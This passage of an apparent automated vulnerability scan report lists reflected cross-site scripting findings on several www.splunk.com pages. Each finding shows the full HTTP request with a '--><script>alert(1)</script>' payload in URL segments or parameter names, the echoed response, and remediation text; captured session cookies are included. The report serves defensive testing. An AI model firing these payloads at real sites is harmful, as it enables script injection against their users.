Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:16:42 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 82487

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a09244ca107=1 -->
...[SNIP]...

4.580. http://www.splunk.com/view/partner-programs/SP-CAAACED [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-programs/SP-CAAACED

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 6c8f0--><script>alert(1)</script>4a32196ba0d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view6c8f0--><script>alert(1)</script>4a32196ba0d/partner-programs/SP-CAAACED HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:29 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:29 GMT; path=/
ETag: 704408babd820f22c45c2118cc4ecc581296944310
Last-Modified: Sat, 05 Feb 2011 22:18:30 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4a32196ba0d/partner-programs/SP-CAAACED -->
...[SNIP]...

4.581. http://www.splunk.com/view/partner-programs/SP-CAAACED [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-programs/SP-CAAACED

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 4b65f--><script>alert(1)</script>5ef7156cb2e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/partner-programs4b65f--><script>alert(1)</script>5ef7156cb2e/SP-CAAACED HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5ef7156cb2e/SP-CAAACED -->
...[SNIP]...

4.582. http://www.splunk.com/view/partner-programs/SP-CAAACED [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-programs/SP-CAAACED

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 3e9a0--><script>alert(1)</script>3fa78d2d651 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/partner-programs/SP-CAAACED3e9a0--><script>alert(1)</script>3fa78d2d651 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:33 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3fa78d2d651 -->
...[SNIP]...

4.583. http://www.splunk.com/view/partner-programs/SP-CAAACED [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/partner-programs/SP-CAAACED

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload ae883--><script>alert(1)</script>4cfbb6dd937 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/partner-programs/SP-CAAACED?ae883--><script>alert(1)</script>4cfbb6dd937=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23717

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4cfbb6dd937=1 -->
...[SNIP]...

4.584. http://www.splunk.com/view/product-tour/SP-CAAAAGV [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/product-tour/SP-CAAAAGV

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e0baa--><script>alert(1)</script>ff9655a5702 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewe0baa--><script>alert(1)</script>ff9655a5702/product-tour/SP-CAAAAGV HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:14:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:44:30 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:44:30 GMT; path=/
ETag: 430093ac36dde99606192c99a40d63b31296944070
Last-Modified: Sat, 05 Feb 2011 22:14:30 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ff9655a5702/product-tour/SP-CAAAAGV -->
...[SNIP]...

4.585. http://www.splunk.com/view/product-tour/SP-CAAAAGV [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/product-tour/SP-CAAAAGV

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 94af9--><script>alert(1)</script>0a646c51a07 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/product-tour94af9--><script>alert(1)</script>0a646c51a07/SP-CAAAAGV HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:02 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:02 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:02 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>0a646c51a07/SP-CAAAAGV -->
...[SNIP]...

4.586. http://www.splunk.com/view/product-tour/SP-CAAAAGV [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/product-tour/SP-CAAAAGV

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload c0811--><script>alert(1)</script>45674de8132 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/product-tour/SP-CAAAAGVc0811--><script>alert(1)</script>45674de8132 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:39 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:39 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>45674de8132 -->
...[SNIP]...

4.587. http://www.splunk.com/view/product-tour/SP-CAAAAGV [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/product-tour/SP-CAAAAGV

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 1e7d6--><script>alert(1)</script>b86e20e506a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/product-tour/SP-CAAAAGV?1e7d6--><script>alert(1)</script>b86e20e506a=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 103f9f7f8215d15990f0d507a8e205471296944034
Last-Modified: Sat, 05 Feb 2011 22:13:54 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 27809

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b86e20e506a=1 -->
...[SNIP]...

4.588. http://www.splunk.com/view/professional-services/SP-CAAABH9 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/professional-services/SP-CAAABH9

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 807a2--><script>alert(1)</script>91ab61ec940 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view807a2--><script>alert(1)</script>91ab61ec940/professional-services/SP-CAAABH9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; 